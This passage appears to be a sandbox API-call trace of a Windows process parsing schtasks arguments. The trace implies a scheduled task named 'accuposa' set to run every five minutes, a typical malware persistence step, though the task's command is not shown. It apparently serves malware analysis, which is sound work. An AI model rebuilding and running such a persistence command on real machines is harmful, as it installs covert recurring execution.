_Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.268] lstrlenW (lpString="|ru|") returned 4 [0124.268] lstrlenW (lpString="|tn|") returned 4 [0124.268] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0124.268] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.268] lstrlenW (lpString="rp") returned 2 [0124.268] lstrlenW (lpString="rp") returned 2 [0124.268] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.268] lstrlenW (lpString="tn") returned 2 [0124.268] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.268] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rp|") returned 4 [0124.268] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.268] lstrlenW (lpString="|rp|") returned 4 [0124.268] lstrlenW (lpString="|tn|") returned 4 [0124.268] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0124.268] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.268] lstrlenW (lpString="sc") returned 2 [0124.268] lstrlenW (lpString="sc") returned 2 [0124.269] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.269] lstrlenW (lpString="tn") returned 2 [0124.269] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.269] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.269] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.269] lstrlenW (lpString="|sc|") returned 4 [0124.269] lstrlenW (lpString="|tn|") returned 4 [0124.269] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0124.269] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.269] lstrlenW (lpString="mo") returned 2 [0124.269] lstrlenW (lpString="mo") returned 2 [0124.269] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.269] lstrlenW (lpString="tn") returned 2 [0124.269] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.269] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.269] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.269] lstrlenW (lpString="|mo|") returned 4 [0124.269] lstrlenW (lpString="|tn|") returned 4 [0124.269] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0124.269] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.269] lstrlenW (lpString="d") returned 1 [0124.269] lstrlenW (lpString="d") returned 1 [0124.269] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.269] lstrlenW (lpString="tn") returned 2 [0124.269] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.269] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|d|") returned 3 [0124.269] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.270] lstrlenW (lpString="|d|") returned 3 [0124.270] lstrlenW (lpString="|tn|") returned 4 [0124.270] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.270] lstrlenW (lpString="m") returned 1 [0124.270] lstrlenW (lpString="m") returned 1 [0124.270] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.270] lstrlenW (lpString="tn") returned 2 [0124.270] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.270] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|m|") returned 3 [0124.270] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.270] lstrlenW (lpString="|m|") returned 3 [0124.270] lstrlenW (lpString="|tn|") returned 4 [0124.270] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.270] lstrlenW (lpString="i") returned 1 [0124.270] lstrlenW (lpString="i") returned 1 [0124.270] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.270] lstrlenW (lpString="tn") returned 2 [0124.270] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.270] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|i|") returned 3 [0124.270] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.270] lstrlenW (lpString="|i|") returned 3 [0124.270] lstrlenW (lpString="|tn|") returned 4 [0124.270] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.270] lstrlenW (lpString="tn") returned 2 [0124.270] lstrlenW (lpString="tn") returned 2 [0124.270] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.271] lstrlenW (lpString="tn") returned 2 [0124.271] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.271] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.271] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tn|") returned 4 [0124.271] lstrlenW (lpString="|tn|") returned 4 [0124.271] lstrlenW (lpString="|tn|") returned 4 [0124.271] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0124.271] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.271] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.271] lstrlenW (lpString="accuposa") returned 8 [0124.271] lstrlenW (lpString="-/") returned 2 [0124.271] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0124.271] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.271] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.271] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.271] lstrlenW (lpString="accuposa") returned 8 [0124.271] StrChrIW (lpStart="accuposa", wMatch=0x3a) returned 0x0 [0124.271] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.271] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.271] lstrlenW (lpString="accuposa") returned 8 [0124.271] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.271] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.271] lstrlenW (lpString="/sc") returned 3 [0124.271] lstrlenW (lpString="-/") returned 2 [0124.271] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.271] lstrlenW (lpString="create") returned 6 [0124.271] lstrlenW (lpString="create") returned 6 [0124.271] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.272] lstrlenW (lpString="sc") returned 2 [0124.272] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.272] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|create|") returned 8 [0124.272] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.272] lstrlenW (lpString="|create|") returned 8 [0124.272] lstrlenW (lpString="|sc|") returned 4 [0124.272] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0124.272] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.272] lstrlenW (lpString="?") returned 1 [0124.272] lstrlenW (lpString="?") returned 1 [0124.272] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.272] lstrlenW (lpString="sc") returned 2 [0124.272] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.272] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|?|") returned 3 [0124.272] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.272] lstrlenW (lpString="|?|") returned 3 [0124.272] lstrlenW (lpString="|sc|") returned 4 [0124.272] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.272] lstrlenW (lpString="s") returned 1 [0124.272] lstrlenW (lpString="s") returned 1 [0124.272] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.272] lstrlenW (lpString="sc") returned 2 [0124.272] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.272] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|s|") returned 3 [0124.272] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.272] lstrlenW (lpString="|s|") returned 3 [0124.272] lstrlenW (lpString="|sc|") returned 4 [0124.273] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.273] lstrlenW (lpString="u") returned 1 [0124.273] lstrlenW (lpString="u") returned 1 [0124.273] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.273] lstrlenW (lpString="sc") returned 2 [0124.273] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.273] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|u|") returned 3 [0124.273] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.273] lstrlenW (lpString="|u|") returned 3 [0124.273] lstrlenW (lpString="|sc|") returned 4 [0124.273] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.273] lstrlenW (lpString="p") returned 1 [0124.273] lstrlenW (lpString="p") returned 1 [0124.273] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.273] lstrlenW (lpString="sc") returned 2 [0124.273] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.273] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|p|") returned 3 [0124.273] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.273] lstrlenW (lpString="|p|") returned 3 [0124.273] lstrlenW (lpString="|sc|") returned 4 [0124.273] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.273] lstrlenW (lpString="ru") returned 2 [0124.273] lstrlenW (lpString="ru") returned 2 [0124.273] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.273] lstrlenW (lpString="sc") returned 2 [0124.273] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.273] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|ru|") returned 4 [0124.274] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.274] lstrlenW (lpString="|ru|") returned 4 [0124.274] lstrlenW (lpString="|sc|") returned 4 [0124.274] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0124.274] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.274] lstrlenW (lpString="rp") returned 2 [0124.274] lstrlenW (lpString="rp") returned 2 [0124.274] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.274] lstrlenW (lpString="sc") returned 2 [0124.274] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.274] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rp|") returned 4 [0124.274] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.274] lstrlenW (lpString="|rp|") returned 4 [0124.274] lstrlenW (lpString="|sc|") returned 4 [0124.274] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0124.274] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.274] lstrlenW (lpString="sc") returned 2 [0124.274] lstrlenW (lpString="sc") returned 2 [0124.274] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.274] lstrlenW (lpString="sc") returned 2 [0124.274] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.274] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.274] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.274] lstrlenW (lpString="|sc|") returned 4 [0124.274] lstrlenW (lpString="|sc|") returned 4 [0124.274] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0124.274] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.275] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.275] lstrlenW (lpString="MINUTE") returned 6 [0124.275] lstrlenW (lpString="-/") returned 2 [0124.275] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0124.275] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.275] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.275] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.275] lstrlenW (lpString="MINUTE") returned 6 [0124.275] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0124.275] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.275] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.275] GetProcessHeap () returned 0x2996d990000 [0124.275] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d99a930 [0124.275] _memicmp (_Buf1=0x2996d99a930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.275] lstrlenW (lpString="MINUTE") returned 6 [0124.275] GetProcessHeap () returned 0x2996d990000 [0124.275] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0xe) returned 0x2996d99ab70 [0124.275] lstrlenW (lpString="MINUTE") returned 6 [0124.275] lstrlenW (lpString=" \x09") returned 2 [0124.275] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0124.275] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0124.275] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0124.275] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0124.275] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0124.275] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0124.275] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0124.275] GetLastError () returned 0x0 [0124.275] lstrlenW (lpString="MINUTE") returned 6 [0124.275] lstrlenW (lpString="MINUTE") returned 6 [0124.275] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.275] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.276] lstrlenW (lpString="/mo") returned 3 [0124.276] lstrlenW (lpString="-/") returned 2 [0124.276] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.276] lstrlenW (lpString="create") returned 6 [0124.276] lstrlenW (lpString="create") returned 6 [0124.276] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.276] lstrlenW (lpString="mo") returned 2 [0124.276] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.276] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|create|") returned 8 [0124.276] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.276] lstrlenW (lpString="|create|") returned 8 [0124.276] lstrlenW (lpString="|mo|") returned 4 [0124.276] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0124.276] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.276] lstrlenW (lpString="?") returned 1 [0124.276] lstrlenW (lpString="?") returned 1 [0124.276] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.276] lstrlenW (lpString="mo") returned 2 [0124.276] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.276] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|?|") returned 3 [0124.276] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.276] lstrlenW (lpString="|?|") returned 3 [0124.276] lstrlenW (lpString="|mo|") returned 4 [0124.276] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.276] lstrlenW (lpString="s") returned 1 [0124.276] lstrlenW (lpString="s") returned 1 [0124.276] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.277] lstrlenW (lpString="mo") returned 2 [0124.277] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.277] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|s|") returned 3 [0124.277] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.277] lstrlenW (lpString="|s|") returned 3 [0124.277] lstrlenW (lpString="|mo|") returned 4 [0124.277] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.277] lstrlenW (lpString="u") returned 1 [0124.277] lstrlenW (lpString="u") returned 1 [0124.277] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.277] lstrlenW (lpString="mo") returned 2 [0124.277] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.277] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|u|") returned 3 [0124.277] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.277] lstrlenW (lpString="|u|") returned 3 [0124.277] lstrlenW (lpString="|mo|") returned 4 [0124.277] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.277] lstrlenW (lpString="p") returned 1 [0124.277] lstrlenW (lpString="p") returned 1 [0124.277] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.277] lstrlenW (lpString="mo") returned 2 [0124.277] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.277] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|p|") returned 3 [0124.277] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.278] lstrlenW (lpString="|p|") returned 3 [0124.278] lstrlenW (lpString="|mo|") returned 4 [0124.278] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.278] lstrlenW (lpString="ru") returned 2 [0124.278] lstrlenW (lpString="ru") returned 2 [0124.278] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.278] lstrlenW (lpString="mo") returned 2 [0124.278] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.278] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|ru|") returned 4 [0124.278] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.279] lstrlenW (lpString="|ru|") returned 4 [0124.279] lstrlenW (lpString="|mo|") returned 4 [0124.279] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0124.281] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.281] lstrlenW (lpString="rp") returned 2 [0124.281] lstrlenW (lpString="rp") returned 2 [0124.281] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.281] lstrlenW (lpString="mo") returned 2 [0124.281] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.281] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|rp|") returned 4 [0124.281] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.281] lstrlenW (lpString="|rp|") returned 4 [0124.281] lstrlenW (lpString="|mo|") returned 4 [0124.281] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0124.281] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.281] lstrlenW (lpString="sc") returned 2 [0124.281] lstrlenW (lpString="sc") returned 2 [0124.281] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.281] lstrlenW (lpString="mo") returned 2 [0124.282] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.282] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|sc|") returned 4 [0124.282] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.282] lstrlenW (lpString="|sc|") returned 4 [0124.282] lstrlenW (lpString="|mo|") returned 4 [0124.282] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0124.282] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.282] lstrlenW (lpString="mo") returned 2 [0124.282] lstrlenW (lpString="mo") returned 2 [0124.282] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.282] lstrlenW (lpString="mo") returned 2 [0124.282] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.282] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.282] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|mo|") returned 4 [0124.282] lstrlenW (lpString="|mo|") returned 4 [0124.282] lstrlenW (lpString="|mo|") returned 4 [0124.282] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0124.282] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.282] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.282] lstrlenW (lpString="5") returned 1 [0124.282] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.282] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.282] lstrlenW (lpString="5") returned 1 [0124.282] StrChrIW (lpStart="5", wMatch=0x3a) returned 0x0 [0124.282] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.282] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.283] _memicmp (_Buf1=0x2996d99a930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.283] lstrlenW (lpString="5") returned 1 [0124.283] lstrlenW (lpString="5") returned 1 [0124.283] lstrlenW (lpString=" \x09") returned 2 [0124.283] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0124.283] StrChrW (lpStart=" \x09", wMatch=0x35) returned 0x0 [0124.283] GetLastError () returned 0x0 [0124.283] lstrlenW (lpString="5") returned 1 [0124.283] lstrlenW (lpString="5") returned 1 [0124.283] GetProcessHeap () returned 0x2996d990000 [0124.283] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x4) returned 0x2996d994aa0 [0124.283] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.283] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.283] lstrlenW (lpString="/tr") returned 3 [0124.283] lstrlenW (lpString="-/") returned 2 [0124.283] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.283] lstrlenW (lpString="create") returned 6 [0124.283] lstrlenW (lpString="create") returned 6 [0124.283] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.283] lstrlenW (lpString="tr") returned 2 [0124.283] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.283] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|create|") returned 8 [0124.283] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.283] lstrlenW (lpString="|create|") returned 8 [0124.283] lstrlenW (lpString="|tr|") returned 4 [0124.283] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0124.284] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.284] lstrlenW (lpString="?") returned 1 [0124.284] lstrlenW (lpString="?") returned 1 [0124.284] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.284] lstrlenW (lpString="tr") returned 2 [0124.284] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.284] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|?|") returned 3 [0124.284] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7c798 | out: _Buffer="|tr|") returned 4 [0124.284] lstrlenW (lpString="|?|") returned 3 [0124.284] lstrlenW (lpString="|tr|") returned 4 [0124.284] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.284] lstrlenW (lpString="s") returned 1 [0124.284] lstrlenW (lpString="s") returned 1 [0124.284] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.284] lstrlenW (lpString="tr") returned 2 